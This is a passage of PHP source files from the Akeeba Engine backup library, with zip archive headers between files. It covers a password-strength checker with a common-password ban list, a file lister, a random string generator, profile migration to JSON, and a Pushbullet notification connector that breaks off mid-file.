		'superman', 'swimming', 'trustno1', 'victoria', 'whatever', 'xxxxxxxx',
		'password1', 'password12', 'password123',
	];

	private $minimumChars = 8;

	private $strengthScaleFactor = 1;

	private $bannedPasswords = [];

	private $banMode = 'strict'; // (strict|loose)

	private $encoding = 'UTF-8';

	/**
	 * Constructor
	 *
	 * @param   array  $options  Override default options using an associative array of options
	 *
	 * Options:
	 *  - minimumChars: Minimum password length (default: 8)
	 *  - strengthScaleFactor: Required password strength multiplier (default: 1)
	 *  - bannedPasswords: Custom list of banned passwords (default: long list of common passwords)
	 *  - banMode: Use strict or loose comparisons for banned passwords. "strict" = don't allow a substring of a banned
	 *  password, "loose" = only ban exact matches (default: strict)
	 *  - encoding: Character set encoding of the password (default: UTF-8)
	 */
	public function __construct(array $options = [])
	{
		$this->bannedPasswords = self::$BANLIST;

		foreach ($options as $opt => $val)
		{
			if ($opt === 'banmode')
			{
				trigger_error('The lowercase banmode option is deprecated. Use banMode instead.', E_USER_DEPRECATED);
				$opt = 'banMode';
			}

			$this->{$opt} = $val;
		}
	}

	/**
	 * Checks if a password is strong enough for use on a live site. Used to check the front-end Secret Word.
	 *
	 * @param   string  $password         The password to check
	 * @param   bool    $throwExceptions  Throw an exception if the password is not strong enough?
	 *
	 * @return  bool
	 */
	public static function isStrongEnough($password, $throwExceptions = true)
	{
		$complexify = new self();

		$res = (object) [
			'valid'      => strlen($password) >= 32,
			'complexity' => 50,
			'errors'     => (strlen($password) >= 32) ? [] : ['tooshort'],
		];

		if (function_exists('mb_strlen') && function_exists('mb_convert_encoding') &&
			function_exists('mb_substr') && function_exists('mb_convert_case'))
		{
			$res = $complexify->evaluateSecurity($password);
		}


		if ($res->valid)
		{
			return true;
		}

		if (!$throwExceptions)
		{
			return false;
		}

		$error = count($res->errors) ? array_shift($res->errors) : 'toosimple';

		$errorMessage = Platform::getInstance()->translate('COM_AKEEBA_CPANEL_ERR_FESECRETWORD_' . $error);

		throw new RuntimeException($errorMessage, 403);
	}

	/**
	 * Check the complexity of a password
	 *
	 * @param   string  $password  The password to check
	 *
	 * @return  object  StdClass object with properties "valid", "complexity", and "error"
	 *  - valid: TRUE if the password is complex enough, FALSE if it is not
	 *  - complexity: The complexity of the password as a percent
	 *  - errors: Array containing descriptions of what made the password fail. Possible values are: banned, toosimple,
	 *  tooshort
	 */
	public function evaluateSecurity($password)
	{
		$complexity = 0;
		$error      = [];

		// Reset complexity to 0 when banned password is found
		if (!$this->inBanlist($password))
		{
			// Add character complexity
			foreach (self::$CHARSETS as $charset)
			{
				$complexity += $this->additionalComplexityForCharset($password, $charset);
			}
		}
		else
		{
			array_push($error, 'banned');
			$complexity = 1;
		}

		// Use natural log to produce linear scale
		$complexity = log($complexity ** mb_strlen($password, $this->encoding)) * (1 / $this->strengthScaleFactor);

		if ($complexity <= self::$MIN_COMPLEXITY)
		{
			array_push($error, 'toosimple');
		}

		if (mb_strlen($password, $this->encoding) < $this->minimumChars)
		{
			array_push($error, 'tooshort');
		}

		// Scale to percentage, so it can be used for a progress bar
		$complexity = ($complexity / self::$MAX_COMPLEXITY) * 100;
		$complexity = ($complexity > 100) ? 100 : $complexity;

		return (object) ['valid' => (is_array($error) || $error instanceof \Countable ? count($error) : 0) === 0, 'complexity' => $complexity, 'errors' => $error];
	}

	/**
	 * Determine the complexity added from a character set if it is used in a string
	 *
	 * @param   string  $str       String to check
	 * @param   int  [2]    $charset  Array of unicode code points representing the lower and upper bound of the
	 *                             character range
	 *
	 * @return  int  0 if there are no characters from the character set, size of the character set if there are any
	 *               characters used in the string
	 */
	private function additionalComplexityForCharset($str, $charset)
	{
		$len = mb_strlen($str, $this->encoding);
		for ($i = 0; $i < $len; $i++)
		{
			$c =
				unpack('Nord', mb_convert_encoding(mb_substr($str, $i, 1, $this->encoding), 'UCS-4BE', $this->encoding));
			if ($charset[0] <= $c['ord'] && $c['ord'] <= $charset[1])
			{
				return $charset[1] - $charset[0] + 1;
			}
		}

		return 0;
	}

	/**
	 * Check if a string is in the banned password list
	 *
	 * @param   string  $str  String to check
	 *
	 * @return  bool  TRUE if $str is a banned password, or if it is a substring of a banned password and
	 *                $this->banMode is 'strict'
	 */
	private function inBanlist($str)
	{
		if ($str == '')
		{
			return false;
		}

		$str = mb_convert_case($str, MB_CASE_LOWER, $this->encoding);

		if ($this->banMode === 'strict')
		{
			for ($i = 0; $i < count($this->bannedPasswords); $i++)
			{
				if (mb_strpos($this->bannedPasswords[$i], $str, 0, $this->encoding) !== false)
				{
					return true;
				}
			}

			return false;
		}

		return in_array($str, $this->bannedPasswords);
	}
}
PK     \Q  Q  /  vendor/akeeba/engine/engine/Util/FileLister.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;

/* Windows system detection */
if (!defined('_AKEEBA_IS_WINDOWS'))
{
	$isWindows = DIRECTORY_SEPARATOR == '\\';

	if (function_exists('php_uname'))
	{
		$isWindows = stristr(php_uname(), 'windows');
	}

	define('_AKEEBA_IS_WINDOWS', $isWindows);
}

/**
 * A filesystem scanner, for internal use
 */
class FileLister
{
	public function &getFiles($folder, $fullpath = false)
	{
		// Initialize variables
		$arr   = [];
		$false = false;

		if (!is_dir($folder) && !is_dir($folder . '/'))
		{
			return $false;
		}

		$handle = @opendir($folder);
		if ($handle === false)
		{
			$handle = @opendir($folder . '/');
		}
		// If directory is not accessible, just return FALSE
		if ($handle === false)
		{
			return $false;
		}

		$registry            = Factory::getConfiguration();
		$dereferencesymlinks = $registry->get('engine.archiver.common.dereference_symlinks');

		while ((($file = @readdir($handle)) !== false))
		{
			if (($file != '.') && ($file != '..'))
			{
				// # Fix 2.4.b1: Do not add DS if we are on the site's root and it's an empty string
				// # Fix 2.4.b2: Do not add DS is the last character _is_ DS
				$ds     = ($folder == '') || ($folder == '/') || (@substr($folder, -1) == '/') || (@substr($folder, -1) == DIRECTORY_SEPARATOR) ? '' : DIRECTORY_SEPARATOR;
				$dir    = "$folder/$file";
				$isDir  = @is_dir($dir);
				$isLink = @is_link($dir);

				//if (!$isDir || ($isDir && $isLink && !$dereferencesymlinks) ) {
				if (!$isDir)
				{
					if ($fullpath)
					{
						$data = _AKEEBA_IS_WINDOWS ? Factory::getFilesystemTools()->TranslateWinPath($dir) : $dir;
					}
					else
					{
						$data = _AKEEBA_IS_WINDOWS ? Factory::getFilesystemTools()->TranslateWinPath($file) : $file;
					}
					if ($data)
					{
						$arr[] = $data;
					}
				}
			}
		}
		@closedir($handle);

		return $arr;
	}

	public function &getFolders($folder, $fullpath = false)
	{
		// Initialize variables
		$arr   = [];
		$false = false;

		if (!is_dir($folder) && !is_dir($folder . '/'))
		{
			return $false;
		}

		$handle = @opendir($folder);
		if ($handle === false)

		{
			$handle = @opendir($folder . '/');
		}

		// If directory is not accessible, just return FALSE
		if ($handle === false)
		{
			return $false;
		}

		$registry            = Factory::getConfiguration();
		$dereferencesymlinks = $registry->get('engine.archiver.common.dereference_symlinks');

		while ((($file = @readdir($handle)) !== false))
		{
			if (($file != '.') && ($file != '..'))
			{
				$dir    = "$folder/$file";
				$isDir  = @is_dir($dir);
				$isLink = @is_link($dir);

				if ($isDir)
				{
					//if(!$dereferencesymlinks && $isLink) continue;
					if ($fullpath)
					{
						$data = _AKEEBA_IS_WINDOWS ? Factory::getFilesystemTools()->TranslateWinPath($dir) : $dir;
					}
					else
					{
						$data = _AKEEBA_IS_WINDOWS ? Factory::getFilesystemTools()->TranslateWinPath($file) : $file;
					}

					if ($data)
					{
						$arr[] = $data;
					}
				}
			}
		}
		@closedir($handle);

		return $arr;
	}
}
PK     \anz      1  vendor/akeeba/engine/engine/Util/PushMessages.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Akeeba\Engine\Util\Pushbullet\Connector;
use Exception;

class PushMessages implements PushMessagesInterface
{
	/**
	 * The PushBullet connector
	 *
	 * @var Connector[]
	 */
	private $connectors = [];

	/**
	 * Should we send push messages?
	 *
	 * @var bool
	 */
	private $enabled = true;

	/**
	 * Creates the push messaging object
	 */
	public function __construct()
	{
		$pushPreference = Platform::getInstance()->get_platform_configuration_option('push_preference', '0');
		$apiKey         = Platform::getInstance()->get_platform_configuration_option('push_apikey', '');

		// No API key? No push messages are enabled, so no point continuing really...
		if (empty($apiKey))
		{
			$pushPreference = 0;
		}

		// We use a switch in case we add support for more push APIs in the future. The push_preference platform
		// option will tell us which service to use. In that case we'll have to refactor this class, but the public
		// API will remain the same.
		switch ($pushPreference)
		{
			default:
			case 0:
				$this->enabled = false;
				break;

			case 1:
				$keys = explode(',', $apiKey);
				$keys = array_map('trim', $keys);

				foreach ($keys as $key)
				{
					try
					{
						$connector = new Connector($key);
						$connector->getDevices();
						$this->connectors[] = $connector;
					}
					catch (Exception $e)
					{
						Factory::getLog()->warning("Push messages cannot be sent with API key $key. Error received when trying to establish PushBullet connection: " . $e->getMessage());
					}
				}

				if (empty($this->connectors))
				{
					Factory::getLog()->warning('No push messages can be sent: none of the provided API keys is usable. Push messages have been deactivated.');

					$this->enabled = false;
				}

				break;
		}
	}

	/**
	 * Sends a push message to all connected devices. The intent is to provide the user with an information message,
	 * e.g. notify them about the progress of the backup.
	 *
	 * @param   string  $subject  The subject of the message, shown in the lock screen. Keep it short.
	 * @param   string  $details  Long(er) description of what the message is about. Plain text (no HTML).
	 *
	 * @return  void
	 */
	public function message($subject, $details = null)
	{
		if (!$this->enabled)
		{
			return;
		}

		foreach ($this->connectors as $connector)
		{
			try
			{
				$connector->pushNote('', $subject, $details);
			}
			catch (Exception $e)
			{
				Factory::getLog()->warning('Push messages suspended. Error received when trying to send push message:' . $e->getMessage());
				$this->enabled = false;
			}
		}
	}

	/**
	 * Sends a push message, containing a URL/URI, to all connected devices. The URL will be rendered as something
	 * clickable on most devices.
	 *
	 * @param   string  $url      The URL/URI
	 * @param   string  $subject  The subject of the message, shown in the lock screen. Keep it short.
	 * @param   string  $details  Long(er) description of what the message is about. Plain text (no HTML).
	 *
	 * @return  void
	 */
	public function link($url, $subject, $details = null)
	{
		if (!$this->enabled)
		{
			return;
		}

		foreach ($this->connectors as $connector)
		{
			try
			{
				$connector->pushLink('', $subject, $url, $details);
			}
			catch (Exception $e)
			{
				Factory::getLog()->warning('Push messages suspended. Error received when trying to send push message with a link:' . $e->getMessage());
				$this->enabled = false;
			}
		}
	}
}
PK     \Oo  o  0  vendor/akeeba/engine/engine/Util/RandomValue.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util;

defined('AKEEBAENGINE') || die();

/**
 * Crypto-safe random value generator. Based on the Randval class of the Aura for PHP's Session package.
 * The following is the license file accompanying the original file.
 *
 * ********************************************************************************
 * Copyright (c) 2011-2016, Aura for PHP
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions are met:
 *
 * - Redistributions of source code must retain the above copyright notice, this
 * list of conditions and the following disclaimer.
 *
 * - Redistributions in binary form must reproduce the above copyright notice,
 * this list of conditions and the following disclaimer in the documentation
 * and/or other materials provided with the distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
 * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
 * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
 * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
 * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
 * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * ********************************************************************************
 *
 * Please note that this is a MODIFIED copy of the Randval class, mainly to allow it to be used on hosts
 * which lack both mbcrypt and OpenSSL PHP modules.
 */
class RandomValue
{
	/**
	 *
	 * Returns a cryptographically secure random value.
	 *
	 * @param   integer  $bytes  How many bytes to return
	 *
	 * @return  string
	 */
	public function generate($bytes = 32)
	{
		return random_bytes($bytes);
	}

	/**
	 * Generates a random string with the specified length. WARNING: You get to specify the number of
	 * random characters in the string, not the number of random bytes. The character pool is 64 characters
	 * (6 bits) long. The entropy of your string is 6 * $characters bits. This means that a random string
	 * of 32 characters has an entropy of 192 bits whereas a random sequence of 32 bytes returned by generate()
	 * has an entropy of 8 * 32 = 256 bits.
	 *
	 * @param   int    $characters    Number of characters
	 * @param   string $characterSet  Characters to pick from
	 *
	 * @return string
	 */
	public function generateString($characters = 32, $characterSet = 'abcdefghijklmnopqrstuvwxyz-ABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789')
	{
		$sourceString = str_split(
			!empty($characterSet) ? $characterSet : 'abcdefghijklmnopqrstuvwxyz-ABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789',
			1
		);
		$sourceLen    = count($sourceString);
		$ret          = '';

		$bytes     = ceil($characters / 4) * 3;
		$randBytes = $this->generate($bytes);

		for ($i = 0; $i < $bytes; $i += 3)
		{
			$subBytes = substr($randBytes, $i, 3);
			$subBytes = str_split($subBytes, 1);
			$subBytes = ord($subBytes[0]) * 65536 + ord($subBytes[1]) * 256 + ord($subBytes[2]);
			$subBytes = $subBytes & bindec('00000000111111111111111111111111');

			$b    = [];
			$b[0] = ($subBytes >> 18) % $sourceLen;
			$b[1] = (($subBytes >> 12) & bindec('111111')) % $sourceLen;
			$b[2] = (($subBytes >> 6) & bindec('111111')) % $sourceLen;
			$b[3] = ($subBytes & bindec('111111')) % $sourceLen;

			$ret .= $sourceString[$b[0]] . $sourceString[$b[1]] . $sourceString[$b[2]] . $sourceString[$b[3]];
		}

		return substr($ret, 0, $characters);
	}
}
PK     \HP;  ;  5  vendor/akeeba/engine/engine/Util/ProfileMigration.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Exception;

/**
 * This helper class is used to migrate Akeeba Backup profiles to the new storage format implemented since version
 * 6.4.1
 *
 * @since       6.4.1
 */
abstract class ProfileMigration
{
	/**
	 * Tries to migrate a backup profile to the new JSON-based storage format used since version 6.4.1.
	 *
	 * @param   int  $profileID  The ID of the profile to migrate
	 *
	 * @return  bool  Whether we converted the profile
	 *
	 * @since   6.4.1
	 */
	public static function migrateProfile($profileID)
	{
		$platform = Platform::getInstance();
		$db       = Factory::getDatabase($platform->get_platform_database_options());

		// Is the database connected?
		if (!$db->connected())
		{
			return false;
		}

		// Load the raw data from the database
		try
		{
			$sql = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
				->select('*')
				->from($db->qn($platform->tableNameProfiles))
				->where($db->qn('id') . ' = ' . $db->q($profileID));

			$rawData = $db->setQuery($sql)->loadAssoc();
		}
		catch (Exception $e)
		{
			return false;
		}

		// Decrypt the configuration data if required
		$rawData['configuration'] = self::decryptConfiguration($rawData['configuration']);
		$migrated                 = false;

		// Migrate the configuration from INI to JSON format
		if (self::looksLikeIni($rawData['configuration']))
		{
			$rawData['configuration'] = self::convertINItoJSON($rawData['configuration']);

			$migrated = true;
		}

		// Migrate the filters from INI to JSON format
		if (self::looksLikeSerialized($rawData['filters']))
		{
			$rawData['filters'] = self::convertSerializedToJSON($rawData['filters']);

			$migrated = true;
		}

		if (!$migrated)
		{
			return false;
		}

		$rawData['configuration'] = self::encryptConfiguration($rawData['configuration']);

		$sql = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->update($db->qn($platform->tableNameProfiles))
			->set($db->qn('configuration') . ' = ' . $db->q($rawData['configuration']))
			->set($db->qn('filters') . ' = ' . $db->q($rawData['filters']))
			->where($db->qn('id') . ' = ' . $db->q($profileID));

		$db->setQuery($sql);

		try
		{
			$result = $db->query();
		}
		catch (Exception $exc)
		{
			return false;
		}

		return ($result == true);
	}

	/**
	 * Decrypt the configuration data if necessary. Returns the decrypted data.
	 *
	 * @param   string  $configData  The possibly encrypted data.
	 *
	 * @return  string  The decrypted data
	 *
	 * @since   6.4.1
	 */
	public static function decryptConfiguration($configData)
	{
		$noData    = empty($configData);
		$signature = ($noData || (strlen($configData) < 12)) ? '' : substr($configData, 0, 12);

		if (in_array($signature, ['###AES128###', '###CTR128###']))
		{
			return Factory::getSecureSettings()->decryptSettings($configData);
		}

		return $configData;
	}

	/**
	 * Encrypt the configuration data if necessary.
	 *
	 * @param   string  $configData  The raw configuration data
	 *
	 * @return  string  The possibly encrypted configuration data
	 *
	 * @since   6.4.1
	 */
	public static function encryptConfiguration($configData)
	{
		$secureSettings = Factory::getSecureSettings();

		return $secureSettings->encryptSettings($configData);
	}

	/**
	 * Does the provided configuration data look like it's INI encoded?
	 *
	 * @param   string  $configData  The unencrypted configuration data we read from the database.
	 *
	 * @return  bool
	 *
	 * @since   6.4.1
	 */
	public static function looksLikeIni($configData)
	{
		if (empty($configData))
		{
			return false;
		}

		if (strlen($configData) < 8)
		{
			return false;
		}

		if ((substr($configData, 0, 8) == '[global]') || substr($configData, 0, 8) == '[akeeba]')
		{
			return true;
		}

		return false;
	}

	/**
	 * Convert the INI-encoded data to JSON-encoded data
	 *
	 * @param   string  $configData  The INI-encoded data
	 *
	 * @return  string  The JSON-encoded data
	 *
	 * @since   6.4.1
	 */
	public static function convertINItoJSON($configData)
	{
		$dataArray = ParseIni::parse_ini_file($configData, true, true);

		return json_encode($dataArray, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_FORCE_OBJECT | JSON_PRETTY_PRINT);
	}

	/**
	 * Does the raw filters string provided seems to use serialized data? We actually check if it looks like JSON.
	 * If it's not, we assume it's serialized data.
	 *
	 * @param   string  $rawFilters  The raw filters string
	 *
	 * @return  bool  Does it look like a serialized string?
	 *
	 * @since   6.4.1
	 */
	public static function looksLikeSerialized($rawFilters)
	{
		if (empty($rawFilters))
		{
			return false;
		}

		if (substr($rawFilters, 0, 1) == '{')
		{
			return false;
		}

		return true;
	}

	/**
	 * Convert the serialized array in $rawFilters to JSON representation
	 *
	 * @param   string  $rawFilters  Raw serialized string
	 *
	 * @return  string  JSON-encoded string
	 *
	 * @since   6.4.1
	 */
	public static function convertSerializedToJSON($rawFilters)
	{
		$filters = unserialize($rawFilters);

		if (empty($filters))
		{
			$filters = [];
		}

		return json_encode($filters, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_FORCE_OBJECT | JSON_PRETTY_PRINT);
	}
}
PK     \>2  >2  9  vendor/akeeba/engine/engine/Util/Pushbullet/Connector.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util\Pushbullet;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Postproc\ProxyAware;
use CURLFile;

/**
 * Based on Pushbullet-for-PHP 2.10.1 – https://github.com/ivkos/Pushbullet-for-PHP/tree/v2
 *
 * The license for the original class is as follows:
 * ----------
 * The MIT License (MIT)
 *
 * Copyright (c) 2014 Ivaylo Stoyanov
 *
 * Permission is hereby granted, free of charge, to any person obtaining a copy
 * of this software and associated documentation files (the "Software"), to deal
 * in the Software without restriction, including without limitation the rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included in all
 * copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
 * SOFTWARE.
 * ----------
 *
 * The following class is a derivative work, NOT the original work.
 */
class Connector
{
	use ProxyAware;

	public const URL_PUSHES = 'https://api.pushbullet.com/v2/pushes';
	public const URL_DEVICES = 'https://api.pushbullet.com/v2/devices';
	public const URL_CONTACTS = 'https://api.pushbullet.com/v2/contacts';
	public const URL_UPLOAD_REQUEST = 'https://api.pushbullet.com/v2/upload-request';
	public const URL_USERS = 'https://api.pushbullet.com/v2/users';
	public const URL_SUBSCRIPTIONS = 'https://api.pushbullet.com/v2/subscriptions';
	public const URL_CHANNEL_INFO = 'https://api.pushbullet.com/v2/channel-info';
	public const URL_EPHEMERALS = 'https://api.pushbullet.com/v2/ephemerals';
	public const URL_PHONEBOOK = 'https://api.pushbullet.com/v2/permanents/phonebook';
	private $_apiKey;
	private $_curlCallback;

	/**
	 * Pushbullet constructor.
	 *
	 * @param   string  $apiKey  API key.
	 *
	 * @throws ApiException
	 */
	public function __construct($apiKey)
	{
		$this->_apiKey = $apiKey;

		if (!function_exists('curl_init'))
		{
			throw new ApiException('cURL library is not loaded.');
		}
	}

	/**
	 * Parse recipient.
	 *
	 * @param   string  $recipient  Recipient string.
	 * @param   array   $data       Data array to populate with the correct recipient parameter.
	 */
	private static function _parseRecipient($recipient, array &$data)
	{
		if (!empty($recipient))
		{
			if (filter_var($recipient, FILTER_VALIDATE_EMAIL) !== false)
			{
				$data['email'] = $recipient;
			}
			else
			{
				if (substr($recipient, 0, 1) == "#")
				{
					$data['channel_tag'] = substr($recipient, 1);
				}
				else
				{
					$data['device_iden'] = $recipient;
				}
			}
		}
	}

	/**
	 * Push a note.
	 *
	 * @param   string  $recipient  Recipient. Can be device_iden, email or channel #tagname.
	 * @param   string  $title      The note's title.
	 * @param   string  $body       The note's message.
	 *
	 * @return object Response.
	 * @throws ApiException
	 */
	public function pushNote($recipient, $title, $body = null)
	{
		$data = [];

		Connector::_parseRecipient($recipient, $data);
		$data['type']  = 'note';
		$data['title'] = $title;
		$data['body']  = $body;

		return $this->_curlRequest(self::URL_PUSHES, 'POST', $data);
	}

	/**
	 * Push a link.
	 *
	 * @param   string  $recipient  Recipient. Can be device_iden, email or channel #tagname.
	 * @param   string  $title      The link's title.
	 * @param   string  $url        The URL to open.
	 * @param   string  $body       A message associated with the link.
	 *
	 * @return object Response.
	 * @throws ApiException
	 */
	public function pushLink($recipient, $title, $url, $body = null)
	{
		$data = [];

		Connector::_parseRecipient($recipient, $data);
		$data['type']  = 'link';
		$data['title'] = $title;
		$data['url']   = $url;
		$data['body']  = $body;

		return $this->_curlRequest(self::URL_PUSHES, 'POST', $data);
	}

	/**
	 * Push a checklist.
	 *
	 * @param   string    $recipient  Recipient. Can be device_iden, email or channel #tagname.
	 * @param   string    $title      The list's title.
	 * @param   string[]  $items      The list items.
	 *
	 * @return object Response.
	 * @throws ApiException
	 */
	public function pushList($recipient, $title, array $items)
	{
		$data = [];

		Connector::_parseRecipient($recipient, $data);
		$data['type']  = 'list';
		$data['title'] = $title;
		$data['items'] = $items;

		return $this->_curlRequest(self::URL_PUSHES, 'POST', $data);
	}

	/**
	 * Push a file.
	 *
	 * @param   string  $recipient    Recipient. Can be device_iden, email or channel #tagname.
	 * @param   string  $filePath     The path of the file to push.
	 * @param   string  $mimeType     The MIME type of the file. If null, we'll try to guess it.
	 * @param   string  $title        The title of the push notification.
	 * @param   string  $body         The body of the push notification.
	 * @param   string  $altFileName  Alternative file name to use instead of the original one.
	 *                                For example, you might want to push 'someFile.tmp' as 'image.jpg'.
	 *
	 * @return object Response.
	 * @throws ApiException
	 */
	public function pushFile($recipient, $filePath, $mimeType = null, $title = null, $body = null, $altFileName = null)
	{
		$data = [];

		$fullFilePath = realpath($filePath);

		if (!is_readable($fullFilePath))
		{
			throw new ApiException('File: File does not exist or is unreadable.');
		}

		if (filesize($fullFilePath) > 25 * 1024 * 1024)
		{
			throw new ApiException('File: File size exceeds 25 MB.');
		}

		$data['file_name'] = $altFileName ?? basename($fullFilePath);

		// Try to guess the MIME type if the argument is NULL
		$data['file_type'] = $mimeType ?? mime_content_type($fullFilePath);

		// Request authorization to upload the file
		$response         = $this->_curlRequest(self::URL_UPLOAD_REQUEST, 'GET', $data);
		$data['file_url'] = $response->file_url;

		$response->data->file = new CURLFile($fullFilePath);

		// Upload the file
		$this->_curlRequest($response->upload_url, 'POST', $response->data, false, false);

		Connector::_parseRecipient($recipient, $data);
		$data['type']  = 'file';
		$data['title'] = $title;
		$data['body']  = $body;

		return $this->_curlRequest(self::URL_PUSHES, 'POST', $data);
	}

	/**
	 * Get push history.
	 *
	 * @param   int     $modifiedAfter  Request pushes modified after this UNIX timestamp.
	 * @param   string  $cursor         Request the next page via its cursor from a previous response. See the API
	 *                                  documentation (https://docs.pushbullet.com/http/) for a detailed description.
	 * @param   int     $limit          Maximum number of objects on each page.
	 *
	 * @return object Response.
	 * @throws ApiException
	 */
	public function getPushHistory($modifiedAfter = 0, $cursor = null, $limit = null)
	{
		$data                   = [];
		$data['modified_after'] = $modifiedAfter;

		if ($cursor !== null)
		{
			$data['cursor'] = $cursor;
		}

		if ($limit !== null)
		{
			$data['limit'] = $limit;
		}

		return $this->_curlRequest(self::URL_PUSHES, 'GET', $data);
	}

	/**
	 * Dismiss a push.
	 *
	 * @param   string  $pushIden  push_iden of the push notification.
	 *
	 * @return object Response.
	 * @throws ApiException
	 */
	public function dismissPush($pushIden)
	{
		return $this->_curlRequest(self::URL_PUSHES . '/' . $pushIden, 'POST', ['dismissed' => true]);
	}

	/**
	 * Delete a push.
	 *
	 * @param   string  $pushIden  push_iden of the push notification.
	 *
	 * @return object Response.
	 * @throws ApiException
	 */
	public function deletePush($pushIden)
	{
		return $this->_curlRequest(self::URL_PUSHES . '/' . $pushIden, 'DELETE');
	}

	/**
	 * Get a list of available devices.
	 *
